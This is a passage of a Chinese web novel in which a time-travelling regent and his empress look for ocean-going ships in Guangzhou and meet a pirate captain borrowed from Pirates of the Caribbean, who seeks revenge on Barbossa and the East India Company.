林臻闻言却是摇了摇头。 他伸出手轻轻地抚摸着她那柔顺的秀发。 “嫣儿这不是你的错。” “林子大了什么鸟都有。” “任何一个再完美的制度,也不可能完全杜绝人性的贪婪。” “我们能做的不是因噎废食,彻底否定我们现有的官员选拔制度。” “而是要建立起一套更完善更严密的监督体系。” “让那些心怀不轨的家伙不敢贪不能贪也不想贪!” “监督体系?” 慕容嫣若有所思。 “没错。” 林臻点了点头。 “我们可以成立一个独立于所有行政部门之外的特殊机构。” “就叫‘廉政公署’!” “这个机构直接对你我二人负责。” “赋予他们巡查天下审查百官的无上权力!” “凡是有贪赃枉法欺压百姓之举者。” “不论其官职高低背景深浅。” “一经查实绝不姑息!” “如此一来我们才能真正地将权力关进制度的笼子里。” “也才能最大程度地保证我们大乾官场的长治久安。” 慕容嫣听着林臻这番又一次充满了后世智慧的超前构想。 那双原本有些黯淡的凤眸之中瞬间又重新燃起了光芒! 对啊! 她怎么没想到! 成立一个独立的专门的反贪机构! 这简直又是一招釜底抽薪的绝世妙计! “夫君你……” 她看着林臻那双总是能在最关键时刻为她指点迷津的深邃眼眸。 心中除了崇拜便只剩下了无尽的依赖。 “你真是我这辈子最大的幸运。” 第1179章 没有龙骨怎么办? 她依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,在马车内那略显昏暗的光线下,仿佛变成了一片可以包容一切的夜。 将她那因为政务而烦恼的疲惫心灵,轻轻地包裹其中。 那只用真金线绣成的擎天巨凤,也仿佛在安慰着它的主人。 收敛了所有的杀伐之气,凤目之中只剩下无尽的温柔和缱绻。 那长达五丈的墨金色苏锦拖尾,凌乱地堆叠在两人的脚下。 将他们紧紧地联系在一起。 仿佛在说,不管遇到多大的困难他们都会永远地并肩作战。 “好啦,别想那么多了。” 林臻捏了捏她的脸颊笑着说道。 “这些都是回京之后才要考虑的事。” “现在,我们还是好好享受我们这来之不易的二人世界吧。” “下一站我们去哪?” “杭州。” 慕容嫣的声音重新变得轻快起来。 “去看看那传说中的西湖美景。” “再去看看我们未来的皇家瓷器厂选址定在哪里。” “好都听你的。” …… 车队离开苏州一路南下。 很快便抵达了那素有“人间天堂”之称的杭城。 只是这一次。 他们没能再像之前计划的那样低调行事。 他们还未进城。 杭州知府便早已带着城中所有的头面人物。 在城门口恭候多时了。 那场面比在苏州时还要更加夸张更加隆重。 林臻和慕容嫣对此也是无可奈何。 他们知道自己怀孕的消息恐怕早已是传遍了整个江南。 想再“微服私访”是不可能的了。 在杭州逗留了数日。 欣赏了西湖的断桥残雪和那雷峰夕照。 也顺便敲打了一下杭州本地的那些官僚和乡绅。 并且确定了皇家瓷器厂的选址和初步规划之后。 两人便继续南下。 向着他们此行的最后一站也是最重要的一站——广州进发。 广州位于大乾的最南端。 是整个帝国最大也最繁华的通商口岸。 每年都有数以百计的来自于世界各地的商船。 在这里停靠交易。 将大乾的丝绸、瓷器、茶叶运往世界各地。 又将海外的香料、宝石、珍玩带回大乾。 可以说,这里就是大乾帝国连接世界的窗口和心脏。 也是慕容嫣那“开拓海外”的宏伟蓝图最重要的起点。 然而当他们抵达广州准备考察皇家造船厂的选址时。 却遇到了一个意想不到的巨大难题。 “什么?!” 广州行宫之内,林臻看着前来汇报的广州知府,和本地的船舶司官员。 眉头紧紧地锁了起来。 “你们是说,我们大乾现在根本造不出,能远航万里的巨大宝船?!” “是……是的王爷……” 那名船舶司的官员,战战兢兢地回答道。 “我们……我们现在的技术,最多也只能造出载重不过千石的沿海小船。” “想要造出那种,能抵御远洋风浪的万石巨舰。” “我们……我们既没有足够大的龙骨材料。” “也没有能驱动如此巨大船身的动力之法啊!” “这……” 林臻闻言也是一阵头大。 他怎么忘了。 这可不是他那个拥有着蒸汽机和钢铁龙骨的后世。 在这个还处于纯手工和木制结构的时代。 想要凭空造出一艘能远航万里的超级巨舰。 其难度简直不亚于登天! 这一下麻烦大了。 没有足够大的龙骨。 没有足够强的动力。 这两个最核心的技术难题就像两座无法逾越的大山。 瞬间便将慕容嫣那“开拓海外”的宏伟蓝图给彻底地堵死了。 广州行宫的书房内气氛凝重到了极点。 慕容嫣坐在主位之上秀眉紧蹙一言不发。 她那张绝美的俏脸之上布满了无法掩饰的失望和凝重。 她怎么也没想到。 自己那看似完美的计划竟然会卡在这最基础的第一步上。 难道她那征服星辰大海的梦想。 就真的只能是一个遥不可及的梦吗? 林臻看着她那忧心忡忡的样子心中也是一阵心疼。 他走到她的身边将她轻轻地揽入怀中。 “傻丫头,别皱着眉头了。” “再皱,我们未来的小太子,可就要变成个小愁包了。” 他故意用一种轻松的语气调侃道。 慕容嫣闻言却是没好气地白了他一眼。 “都什么时候了你还开玩笑!” “我可没开玩笑。” 林臻笑了笑说道。 “多大点事儿至于吗?” “不就是造不出大船吗?” “谁说我们一定要自己造了?” “什么意思?” 慕容嫣和一旁的广州知府都愣住了。 不自己造那船从哪来? 难道还能从天上掉下来不成? “我们可以买啊。” 林臻的嘴角勾起了一抹高深莫测的笑容。 “买?” 慕容嫣更糊涂了。 “跟谁买?这个世界上还有谁能造出,比我们大乾更先进的船吗?” 在她看来大乾就是这个世界上最强大的国家。 大乾的工匠就是这个世界上最顶尖的工匠。 连他们都造不出来的东西。 别人又怎么可能造得出来? “当然有。” 林臻却是肯定地点了点头。 他的目光透过窗户望向了那片一望无际的蔚蓝色的大海。 眼中闪烁着睿智的光芒。 “这个世界远比你我想象的要大得多。” “在我们不知道的遥远西方。” “有一些靠海为生的海洋民族。” “他们的造船技术和航海经验远在我们之上。” “他们能造出载重数万石,能抵御十二级风浪的超级巨舰。” “他们能凭借着一张小小的海图和天上的星辰。” “在一望无际的大洋之上航行数月,甚至数年之久。” “他们才是这片大海上真正的主人。” 林臻的这番话再一次让慕容嫣和广州知府,感到了深深的震撼。 他们无法想象。 在他们引以为傲的天朝上国之外。 竟然还存在着如此强大的海洋文明。 “夫君你……你说的都是真的吗?” 慕容嫣的声音里都带上了一丝颤抖。 “当然是真的。” 林臻点了点头。 “那……那我们如何才能找到他们?” “又如何才能从他们手里买到那种超级巨艦?” “这个就更简单了。” 林臻笑了笑说道。 “我们不用去找他们。” “他们自己会送上门来的。” “什么?” “你忘了我们在广州是干什么的吗?” 林臻提醒道。 “这里是整个大乾最大的通商口岸。” “我们只需要在这里放出风去。” “就说我们大乾朝廷,愿意出天价收购那种能远航万里的超级巨舰。” “你觉得那些逐利而生的西方商人。” “在听到这个消息后会是什么反应?” “他们一定会像闻到血腥味的鲨鱼一样,蜂拥而至!” “到时候我们还愁买不到我们想要的船吗?” “不仅如此!” 他的眼中闪烁着狐狸般的狡黠光芒。 “我们还可以借着这个机会,将他们那些最顶尖的造船工匠,和航海人才全都高薪挖到我们大乾来!” “让他们为我们所用!” “如此一来我们不仅有了船。” “还顺便掌握了这世界上最先进的造船技术!” “这才叫真正的一本万利!” “高!实在是高!” 广州知府听完林臻这番堪称是“空手套白狼”的绝妙计策。 整个人都激动得浑身发抖! 他看着眼前这位总能化腐朽为神奇的年轻王爷。 心中除了五体投地的佩服便再无其他! 慕容嫣也是美眸之中异彩连连。 她发现自己的这个夫君简直就是一个无所不能的宝藏男孩。 任何看似无解的难题到了他手里。 总能被他用一种最匪夷所思,却又最行之有效的方式迎刃而解。 她心中的那点因为造船厂受挫,而生出的阴霾和失望。 瞬间烟消云散! 取而代之的是对未来更加强烈的信心和期待! “好!就依你!” 她一锤定音。 “传朕的旨意!” “以大乾皇家银行的名义在广州设立‘船舶采购专项基金’!” “朕先期注入黄金一百万两!” “向全世界悬赏收购最先进的远洋巨舰!” “和最顶尖的造船人才!” “朕倒要看看这重赏之下到底能引来多少勇夫!” 第1180章 夫君~你输了哦~ 慕容嫣这道充满了土豪气息的霸气旨意。 像一颗重磅炸弹瞬间在整个广州城,乃至整个世界的航海界都引爆了! 一百万两黄金! 向全世界悬赏收购远洋巨舰! 和顶尖的造船人才! 这个消息一经传出。 所有在广州港停靠的来自世界各地的商船和水手。 全都疯了! 一百万两黄金啊! 那是什么概念?! 那足以买下他们国家一整座最繁华的城市了! 而现在东方这个神秘而又富庶的古老帝国。 竟然愿意拿出如此一笔天文数字般的巨款。 只为了买几艘船和几个会造船的工匠? 这……这简直就是天上掉馅饼的好事啊! 一时间。 整个广州城都陷入了一种前所未有的狂热氛围之中。 无数的西方商人和船长。 都挤破了头想要通过各种渠道联系上大乾的官员。 向他们推销自己的船只和技术。 而那些消息灵通的商业间谍和冒险家们。 更是第一时间便将这个惊天动地的消息。 通过最快的海路。 传回了他们遥远的西方母国。 可以预见。 在不久的将来。 将会有无数来自于世界各地的最顶尖的航海家、探险家、造船大师。 甚至是一些心怀不轨的海盗和战争贩子。 都会像闻到血腥味的鲨鱼一样蜂拥而至。 来到东方这片充满了黄金和机遇的神秘土地。 而林臻和慕容嫣要做的。 就是在这即将到来的大航海时代的滚滚洪流之中。 牢牢地把握住属于他们大乾的机遇。 并且将所有潜在的威胁都扼杀在摇篮之中。 …… 广州行宫之内。 林臻和慕容嫣正悠闲地坐在后花园的凉亭里下着棋。 自从那道“悬赏令”发布出去之后。 他们便暂时清闲了下来。 每日里除了接见一些前来献宝的西方商人。 和批阅一些从京城快马加鞭送来的紧急奏折之外。 其余的时间都用来游山玩水,享受这难得的二人世界。 此刻的慕容嫣正慵懒地靠在林臻的怀里。 身上依旧穿着那件作为唯一寝衣的神凤降世裙。 南国那温暖而又潮湿的海风,轻轻地吹拂着她那如云的秀发,和那宽大的裙摆。 让她整个人看起来都透着一股说不出的慵懒和惬意。 那极致玄黑的苏锦底料,在午后明媚的阳光下,泛着一层柔和的光晕。 仿佛在懒洋洋地打着瞌睡。 那只用真金线绣成的擎天巨凤,也收敛了所有的锋芒和威严。 凤目微阖透着一股说不出的岁月静好。 那长达五丈的墨金色苏锦拖尾从凉亭的台阶上迤逦而下。 随意地铺陈在青翠的草地之上。 像一片被阳光晒得暖洋洋的黑金色沙滩。 那华贵的凌乱之中充满了度假般的安逸与祥和。 “将军。” 慕容嫣落下一枚白子。 然后一脸得意地看着对面那个正愁眉苦脸的男人。 “夫君你又输了哦。” “咳咳。” 林臻有些尴尬地咳嗽了一声。 他看着棋盘上,那早已是死得不能再死的黑色大龙。 脸上露出了一丝无奈的苦笑。 他发现自己在任何方面,都能稳稳地压过自己这位小娇妻一头。 唯独在这需要精妙计算,和长远布局的围棋之上。 他总是输多赢少。 “不算不算。” 他耍赖般地摆了摆手。 “刚才是本王一时大意了。” “我们再来一盘!” “你又耍赖!” 慕容嫣嗔怪地瞪了他一眼。 但那眼底却全是藏不住的笑意和宠溺。 她知道这个男人就是个不服输的臭脾气。 她正准备陪他再下一盘。 就在这时。 一名“夜枭”死士却突然如同鬼魅一般出现在了凉亭之外。 单膝跪地沉声禀报道。 “启禀王爷陛下。” “港口那边来了一艘很奇怪的船。” “奇怪的船?” 林臻的眉头挑了一下。 “怎么个奇怪法?” “那艘船通体漆黑船身狭长。” 那名“夜枭”死士回忆道。 “船帆之上没有悬挂任何国家的旗帜。” “只画着一个血红色的骷髅头。” “船上的人也一个个凶神恶煞看起来不像是正经的商人。” “更像是……” “海盗?” 林臻的眼中闪过了一丝玩味的光芒。 “是的王爷。” 那名“夜枭”死士点了点头。 “而且他们指名道姓要见您和陛下。” “还说他们手里有我们最想要的东西。” “哦?” 林臻闻言嘴角的笑意更浓了。 “有意思。” “看来这第一条闻着腥味来的大鱼。” “终于上钩了。” 他转过头看着慕容嫣笑着问道。 “我的皇后陛下。” “有没有兴趣去会一会,这些来自遥远西方的海上亡命徒?” 慕容嫣闻言那双美丽的凤眸之中,也瞬间迸发出了无比璀璨的光芒! 那光芒里充满了好奇兴奋,和一种唯恐天下不乱的跃跃欲试! 她知道平静的日子结束了。 真正刺激的大航海时代。 从这一刻起才算是正式拉开了序幕! “当然!” 她站起身提着那繁复的裙摆声音充满了一种君临天下的霸气。 “带路!” “朕倒要看看这些所谓的海上亡命徒。” “到底能给朕带来什么样的惊喜!” ...... 广州港。 是整个大乾最大也最繁忙的天然良港。 每日里都有成百上千艘,来自于世界各地的商船在这里进进出出。 码头之上人声鼎沸车水马龙。 不同肤色不同语言的水手,和商人在这里汇聚交流。 形成了一副充满了勃勃生机和异域风情的繁华景象。 然而今日的广州港气氛却显得有些不同寻常的诡异。 只见在港口最显眼的一处泊位上。 停靠着一艘通体漆黑造型极其古怪的巨大帆船。 这艘船比港口里所有其他的船,都要大上一圈。 船身狭长而又流畅充满了一种猎豹般的速度感。 船头雕刻着一个狰狞的,仿佛在咆哮的海怪头像。 三根高耸的桅杆之上,悬挂着漆黑如墨的船帆。 船帆的正中央用鲜血般的红色染料,画着一个巨大而又醒目的骷髅头! 骷髅头的下面还交叉着两柄闪着寒光的弯刀! 这艘船就那么静静地停靠在那里。 浑身都散发着一股冰冷的,生人勿进的血腥和杀气。 让周围所有其他的商船,都下意识地与它保持着安全的距离。 此刻在这艘名为“黑珍珠号”的海盗船的甲板上。 正站着两道身影。 正是闻讯而来的林臻和慕容嫣。 当慕容嫣第一眼看到这艘充满了邪恶与力量美感的海盗船时。 那双美丽的凤眸之中便忍不住闪过了一丝惊艳和赞叹。 她虽然不懂造船。 但她能凭借着自己那与生俱来的审美和直觉判断出。 这艘船绝对是她这辈子见过的最快也最强大的船! 没有之一! “夫君这艘船……” 她忍不住转头看向林臻。 “不错。” 林臻点了点头眼中也同样闪烁着欣赏的光芒。 “这艘船采用的是典型的盖伦船型。” “船身狭长吃水深,抗风浪性极强。” “三桅的混合帆设计,既保证了它在顺风时的高速。” “又兼顾了它在逆风时的操控性。” “船身两侧还预留了至少三十个炮口。” “一旦装备上我们神机营的火炮。” “那它就是一艘当之无愧的海上移动堡垒!” “可以说这艘船就是为了远洋作战,和海盗劫掠而生的!” 林臻如数家珍地为慕容嫣介绍着。 他那来自于后世的丰富的航海知识。 听得一旁的广州知府和船舶司的官员一个个都是目瞪口呆。 他们怎么也想不到。 这位在他们眼中无所不能的摄政王殿下。 竟然连这西方的造船之术也懂得如此精通! 这……这还是人吗?! 就在这时。 一个清脆的带着一丝慵懒和玩味的女子声音,从船舱内传了出来。 “呵呵,想不到在这遥远的东方。” “竟然还有人能一眼就看出我这‘黑珍珠号’的不凡之处。” “真是让小女子有些意外呢。” 第1181章 黑珍珠号 那声音用的是一种虽然流利但却带着明显异域口音的中原官话。 随着话音落下。 一名身材高挑火爆到了极点的金发美女。 便扭动着那足以让任何男人都为之疯狂的水蛇腰。 从船舱里缓缓地走了出来。 只见她上身只穿着一件白色的紧身束胸。 将她那呼之欲出的傲人上围勾勒得淋漓尽致。 下身则是一条黑色的紧身皮裤。 将她那修长而又充满爆发力的美腿,衬托得愈发地性感迷人。 她的腰间还别着两把造型华丽的燧发短枪。 一头如同金色瀑布般的波浪长发,随意地披散在肩后。 那张五官深邃,如同古希腊雕塑般完美的俏脸之上。 带着一丝玩世不恭的邪魅笑容。 那双如同蓝宝石一般深邃的眼眸,正饶有兴致地打量着林臻和慕容嫣。 眼神之中充满了侵略性和毫不掩饰的欲望。 当她看到慕容嫣时,眼中闪过了一丝惊艳和嫉妒。 而当她看到林臻时那丝嫉妒便瞬间化作了赤裸裸的,仿佛要将他生吞活剥的占有欲! “尊敬的东方大皇帝陛下,和伟大的摄政王殿下。” 她走到两人面前,微微躬身,行了一个充满了挑逗意味的屈膝礼。 “来自加勒比海的‘黑珍珠号’船长伊丽莎白·斯旺。” “向您二位致以最诚挚的问候。” 伊丽莎白·斯旺? 加勒比海盗? 林臻听到这个熟悉得不能再熟悉的名字。 嘴角忍不住抽搐了一下。 他感觉这个世界真是越来越魔幻了。 先是马可·波罗。 现在又冒出个伊丽莎·白斯旺。 下一个是不是连哥伦布和杰克船长都要出来了? 而慕容嫣看着眼前这个穿着如此伤风败俗。 言行举止又如此轻佻放荡的金发妖女。 尤其是当她看到对方那恨不得长在自己夫君身上的,赤裸裸的目光时。 那双美丽的凤眸之中,瞬间便闪过了一丝冰冷的敌意! “斯旺船长,是吗?” 她缓缓地开口声音冰冷得不带一丝感情。 “听说你手里有我们最想要的东西?” 伊丽莎白·斯旺听到慕容嫣那,冰冷得不带一丝感情的声音。 又感受到了,她身上那股与生俱来的君临天下的强大气场。 那双蓝宝石般的眼眸之中,也忍不住闪过了一丝凝重。 她知道,眼前这个看起来娇美柔弱的东方女皇。 绝不像她表面上看起来的那么简单。 她是一个真正的强者。 一个足以与她平起平坐的女王。 “呵呵,皇帝陛下果然是快人快语。” 她收起了脸上那玩世不恭的笑容神色也变得认真了许多。 “没错。” “我手里确实有你们最想要的东西。” 她一边说着,一边从自己那波澜壮阔的胸口,掏出了一卷用最上等的羊皮纸绘制而成的古老地图。 然后将其在两人面前缓缓地展开。 “这是我们西方航海界流传了数百年的传说中的‘世界尽头’的航海图!” “据说在这张地图的指引下。” “可以找到传说中,由海神波塞冬亲手打造的三艘无敌神舰!” “——‘飞翔的荷兰人号’‘安妮女王复仇号’和‘沉默玛丽号’!” “这三艘船每一艘都拥有着匪夷所思的神秘力量!” “它们可以无视任何风浪!” “可以日行千里夜行八百!” “甚至可以潜入深海,召唤海中的亡灵和巨兽!” “它们是所有航海家,都梦寐以求的终极梦想!” “也是这片大海上最强大的无敌传说!” 伊丽莎白说得是眉飞色舞神采飞扬。 仿佛她自己已经亲眼见过那三艘传说中的无敌神舰一般。 然而林臻和慕容嫣听完她这番,充满了神话色彩的玄乎描述。 脸上却是没有任何的表情。 慕容嫣是不信。 她是一个彻底的唯物主义者。 她只相信自己亲眼看到的,和亲手能掌握的力量。 对于这些虚无缥缈的神话传说,她向来是嗤之以鼻。 而林臻则是根本就没把她的话当真。 飞翔的荷兰人? 安妮女王复仇号? 沉默玛丽号? 这他娘的不就是《加勒比海盗》里那几艘著名的幽灵船吗? 这个名叫伊丽莎白·斯旺的女人。 不会是也跟自己一样是个穿越者吧? 他用一种极其古怪的眼神,上上下下地打量着眼前这个金发尤物。 伊丽莎白被他看得有些心里发毛。 “怎……怎么了?摄政王殿下?” 她有些不解地问道。 “难道您不相信我说的吗?” “我以海神波塞冬的名义发誓!” “我说的每一个字都是真的!” “呵呵。” 林臻闻言却是发出了一声意味深长的轻笑。 “斯旺船长,我们明人不说暗话。” “你这张图是真是假我们暂且不论。” “你就直接说吧。” “你想要什么?” 他知道这种在刀口上舔血的亡命之徒。 绝不会平白无故地将如此“珍贵”的藏宝图拿出来与人分享。 她这么做一定有她的目的。 “王爷殿下果然是爽快人!” 伊丽莎白闻言也是嫣然一笑。 那瞬间绽放的万种风情。 看得一旁的广州知府,和几个随行的官员都是一阵口干舌燥,心神摇曳。 然而林臻却依旧是面不改色。 那双深邃的眼睛里一片古井不波。 仿佛眼前这个足以让任何男人都为之疯狂的人间尤物。 在他眼里不过是一具平平无奇的红粉骷髅。 这让一向对自己的魅力充满了绝对自信的伊丽莎白,心中忍不住生出了一丝小小的挫败感。 不过她很快便调整好了自己的心态。 她知道,跟眼前这个深不可测的男人玩弄美人计。 是最愚蠢的行为。 她收起了那妩媚的笑容,神色重新变得严肃起来。 “我的要求很简单。” 她看着林臻一字一句地说道。 “第一我需要一笔足够我挥霍下半生的巨额财富。” “黄金一百万两。” “或者等值的丝绸和瓷器。” “第二,”她的目光变得有些炽热。 “我需要你们大乾最先进的火器!” “就是前不久你们在北方草原用来打跑那些‘罗刹鬼’的那种神秘武器!” “我需要至少一千支!” “以及足够装备我这艘‘黑珍珠号’的所有火炮!” “第三,也是最重要的一点。” 她的声音变得有些低沉。 那双蓝宝石般的眼眸之中闪烁着刻骨的仇恨光芒! “我需要你们大乾最强大的舰队!” “和我一起去一个地方!” “去杀一个人!” “杀一个人?” 慕容嫣闻言眉头微微一皱。 “杀谁?” “一个被称为‘海上屠夫’的恶魔!” 伊丽莎白咬牙切齿地从牙缝里挤出了几个字。 “他的名字叫巴博萨!” 巴博萨? 林臻听到这个同样是熟悉得不能再熟悉的名字。 嘴角再一次忍不住抽搐了一下。 他现在可以百分之百地确定了。 眼前这个名叫伊丽莎白·斯旺的女人。 绝对不是这个世界的原住民。 她十有八九也跟自己一样。 是个该死的穿越者! 第1182章 这世界是个缝合怪? 这个惊人的发现。 让林臻的脑子里瞬间闪过了无数个念头。 他看着眼前这个正一脸悲愤交加的金发美女。 心中充满了一种难以言喻的复杂情绪。 有他乡遇故知的亲切。 有对她那悲惨遭遇的同情。 但更多的却是一种深深的警惕和忌惮! 他不知道这个女人到底是什么来头。 也不知道她是敌是友。 更不知道她的出现,会给这个本就已经被他搅得天翻地覆的世界。 带来怎样新的变数。 “你说的这个巴博萨。” 他沉吟了片刻开口问道。 “他是什么人?” “他是一个魔鬼!” 伊丽莎白咬牙切齿地说道。 “一个比这片大海上,所有海盗加起来都更加残忍,更加邪恶的魔鬼!” “他原本是我父亲麾下最得力的大副。” “也是我曾经最信任的叔叔。” “可是三年前。” “他为了抢夺我父亲手中的那张‘世界尽头’的航海图。” “竟然丧心病狂地发动了叛变!” “他杀光了所有忠于我父亲的船员。” “将我那可怜的父亲,绑在船锚上活活地沉入了冰冷的海底!” “而我则被他卖到了一个比地狱还可怕的奴隶市场!” “如果不是我命大拼死逃了出来。” “恐怕早已成了那些恶心的肥猪贵族的玩物!” 伊丽莎白说到这里。 那双蓝宝石般的眼眸之中,早已是噙满了晶莹的泪光。 那张美艳的俏脸之上,也布满了刻骨的仇恨和悲愤。 慕容嫣看着她那凄惨的模样。 心中那点因为她刚才那轻佻举动而生出的敌意。 瞬间烟消云散。 取而代之的是一种同为女人的深深的同情。 她走上前从怀中取出一块洁白的丝帕递给了她。 “擦擦吧。” 她的声音很轻很柔。 伊丽莎白微微一愣。 她有些意外地看着眼前这位,向她递出手帕的东方女皇。 她没想到这位看起来冰冷高傲的女皇陛下。 竟然会有关心她的一面。 “谢谢。” 她接过手帕轻声说了一句。 然后她深吸一口气,强行压下心中的悲痛继续说道。 “我花了整整三年的时间。” “从一个一无所有的落难公主。” “一步一步爬到了如今这个,加勒比海最强大的海盗女王的位置。” “我抢回了我父亲的‘黑珍珠号’。” “也重新聚集起了一批忠于我的伙计。” “我所做的这一切都只为了一个目的!” “那就是找到巴博萨那个该死的叛徒!” “然后亲手将他碎尸万段!挫骨扬灰!” “为我那惨死的父亲,和那些无辜的船员报仇!” 她的声音充满了一种令人心悸的决绝和疯狂! 林臻静静地听着。 他知道伊丽莎白说的应该都是真的。 这也基本符合《加勒比海盗》里那狗血的剧情。 只是他还是有些想不明白。 “既然你已经是加勒比海最强大的海盗女王了。” 他看着她问道。 “为什么还要不远万里地跑到我们东方来?” “以你的实力想要对付一个巴博萨。” “应该不是什么难事吧?” “如果只是一个巴博萨。” 伊丽莎白闻言却是发出了一声凄凉的苦笑。 “我当然不惧。” “可是他现在已经投靠了一个比他更强大更可怕的存在!” “谁?” “东印度公司!” 伊丽莎白的脸上露出了一抹深深的忌惮和恐惧。 “东印度公司?” 林臻的眉头又皱了起来。 这个名字他同样是如雷贯耳。 那可是后世号称“日不落帝国”的大英帝国。 进行殖民扩张和资本掠夺的最锋利的一把尖刀! 他们怎么会也出现在这个时代? 难道…… 一个更加大胆和荒谬的念头瞬间涌上了他的心头! 难道这个世界并不仅仅是一个简单的平行时空? 而是一个将所有不同历史时期,不同影视作品里的人物和势力。 都杂糅在了一起的,一个光怪陆离的超级缝合怪世界?! 这个念头让林臻感觉一阵阵地头皮发麻。 如果真是这样。 那这个世界的水可就太深了! 深到连他这个拥有着后世记忆的穿越者。 都有些看不透了。 “这个东印度公司很厉害吗?” 慕容嫣看着伊丽莎白问道。 “何止是厉害?” 伊丽莎白的脸上露出了一抹苦涩的笑容。 “他们拥有着这个世界上最庞大的舰队!” “最先进的火器!” “和最训练有素的军队!” “他们的势力遍布整个西方世界!” “就连我们西方最强大的几个帝国皇帝。” “在他们面前也得俯首称臣!” “可以说,他们才是我们西方世界,真正的无冕之王!” “而巴博萨那个叛徒,现在就是他们麾下最得力的一条走狗!” “他掌管着东印度公司,在加勒比海的所有舰队和武装力量!” “我虽然能勉强与他分庭抗礼。” “但想要彻底地消灭他。” “简直就是痴人说梦!” “所以我才不远万里地来到东方!” “因为我听说,在这里有一个比东印度公司更加强大,更加富庶的神秘帝国!” “在这里有一位比我们西方所有君主加起来,都更加英明神武的绝代女皇!” “还有一位,比所有传说中的英雄,都更加战无不胜的无敌战神!” 她看着林臻和慕容嫣那双蓝宝石般的眼眸之中,充满了最后的也是唯一的希望! “皇帝陛下!摄政王殿下!” 她“噗通”一声单膝跪地。 “我伊丽莎白·斯旺愿以我的生命我的忠诚和我这艘‘黑珍珠号’作为交换!” “恳请二位能出兵助我!” “消灭巴博萨!和那邪恶的东印度公司!” 伊丽莎白这番充满了悲情和煽动性的请求。 让在场的所有人都陷入了深深的沉默。 广州知府和那些随行的官员。 一个个都是面面相觑。 他们被伊丽莎白口中那个所谓的“东印度公司”的强大实力给彻底地吓到了。 一个能让西方所有帝国皇帝都俯首称臣的商业公司? 这……这他娘的简直就是天方夜谭! 他们实在无法想象。 这个世界上除了他们大乾。 竟然还存在着如此恐怖的庞然大物。 而慕容嫣此刻也是秀眉紧蹙。 她虽然不像那些官员一样没见识。 但伊丽莎白口中那个“东印度公司”的强大。 也确实超出了她的预料。 她原本以为这个世界上除了那个已经自己作死的“罗刹国”。 和那个远在天边的“奥斯曼土耳其”之外。 他们大乾应该再无敌手了。 可现在看来。 这个世界远比她想象的要复杂得多。 也危险得多。 她下意识地看了一眼身旁的林臻。 想看看他是什么反应。 却发现这个平日里天塌下来都面不改色的男人。 此刻竟然也难得地陷入了长久的沉默。 他的脸上没有什么表情。 但那双深邃的眼睛里,却闪烁着旁人难以读懂的复杂光芒。 有震惊有凝重。 但更多的却是一种棋逢对手的兴奋和期待! 他知道事情变得越来越有意思了。 第1183章 冥冥之中自有天意 东印度公司。 竟然也出现在了这个世界。 而且还成为了他潜在的最强大的敌人。 这是巧合吗? 还是冥冥之中自有天意? 让他来到这个世界。 就是为了要亲手将这个本不该存在的历史毒瘤。 给彻底地铲除?! 想到这里。 林臻的心中那沉寂已久的热血和战意。 瞬间便被彻底点燃了! 他喜欢挑战! 尤其是挑战这种看似不可能战胜的强大对手! 这远比欺负那些不堪一击的土鸡瓦狗。 要刺激得多! 也有趣得多! “你的这个请求很有趣。” 许久林臻才缓缓地开口。 他的声音很平静。 但那平静之下,却蕴含着一种足以让天地都为之失色的疯狂和决绝! 他看着还单膝跪在地上一脸紧张和期盼的伊丽莎白。 嘴角勾起了一抹玩味的笑容。 “不过我很好奇。” “你凭什么觉得我们会帮你?” “就凭你这张不知真假的藏宝图?” “还是凭你这艘,虽然不错,但在我们大乾也并非造不出来的‘黑珍珠号’?” 伊丽莎白闻言身体微微一颤。 她抬起头看着林臻那双仿佛能洞悉一切的深邃眼眸。 咬了咬自己那丰润的红唇。 她知道想要说服眼前这个比狐狸还狡猾的男人。 光靠这些虚无缥缈的承诺和空头支票。 是远远不够的。 必须拿出真正的能让他动心的筹码! 她深吸一口气仿佛是做出了一个极其艰难的决定。 “王爷殿下,我知道光凭这些还不足以打动您。” 她的声音变得有些嘶哑。 “但是如果我再加上这个呢?” 她一边说着一边缓缓地伸出了自己的右手。 只见在她的手腕上带着一个看起来平平无奇的黑色手环。 手环之上镶嵌着一颗只有拇指大小的菱形水晶。 那水晶通体漆黑在阳光下却闪烁着一种令人心悸的诡异红芒。 “这是……” 林臻看到那颗黑色水晶的瞬间。 瞳孔猛地一缩! 一股冰冷刺骨的熟悉感瞬间涌上了他的心头! 他认得这东西! 这东西和他之前在玄武门下拆解的那个孔志谦留下的最终杀招的核心装置。 ——那个连接着孔志谦心跳的蓝色水晶。 简直一模一样! 唯一的区别只是颜色不同! “这东西你是从哪来的?!” 林臻的声音瞬间变得冰冷到了极点! 他一把抓住伊丽莎白的手腕。 那双深邃的眼睛里,全是毫不掩饰的滔天杀意! 伊丽莎白被他那突如其来的恐怖气势给吓了一跳! 她感觉自己像是被一头来自九幽地狱的远古凶兽给盯上了! 浑身的血液都快要凝固了! “王……王爷殿下……您……” 她哆哆嗦嗦地看着林臻。 完全不明白为什么他会突然有如此大的反应。 “回答我!” 林臻低吼一声。 那声音仿佛是来自九天之上的滚滚惊雷! 震得伊丽莎白耳膜生疼心神俱裂! “是……是巴博萨!” 她再也不敢有丝毫的隐瞒。 竹筒倒豆子般地将一切都说了出来。 “这……这是三年前巴博萨那个叛徒在发动叛变时。” “强行给我戴上的!” “他说这东西叫‘恶魔的契约’!” “只要我戴上它。” “我的心跳我的生命就全都被他牢牢地掌控在了手里!” “只要他愿意。” “随时随地都可以通过另一个一模一样的水晶。” “引爆我手腕上的这个!” “让我在瞬间尸骨无存!” “恶魔的契约?” 林臻听着伊丽莎白那充满了恐惧和绝望的叙述。 那张英俊的脸早已是阴沉得能滴出水来。 他现在可以百分之一万地确定了! 这个名叫巴博萨的家伙! 绝对和那个已经被他气死的孔志谦! 是一伙的! 甚至他们都来自于同一个神秘而又邪恶的组织! ——“虚无党”! 只有他们才会拥有这种超越了这个时代科技水平的诡异装置! 也只有他们才会想出如此歹毒如此没有人性的控制手段! 这个发现让林臻的心中瞬间掀起了滔天巨浪! 他原本以为随着孔志谦的死。 “虚无党”这个如同附骨之疽一般的心腹大患。 已经被他彻底地连根拔起了。 可现在看来。 他错得太离谱了! 孔志谦或许只是“虚无党”摆在中原地区的一枚小小的棋子。 在他们看不到的更广阔的世界舞台上。 一定还隐藏着更多更强大更可怕的“虚无党”的成员! 比如那个所谓的“东印度公司”! 比如那个已经投靠了东印度公司的巴博萨! 这个组织远比他想象的要庞大得多! 也危险得多! 他们的触手甚至已经从东方一直延伸到了遥远的西方世界! 他们到底想干什么? 他们如此处心积虑地在全世界布局。 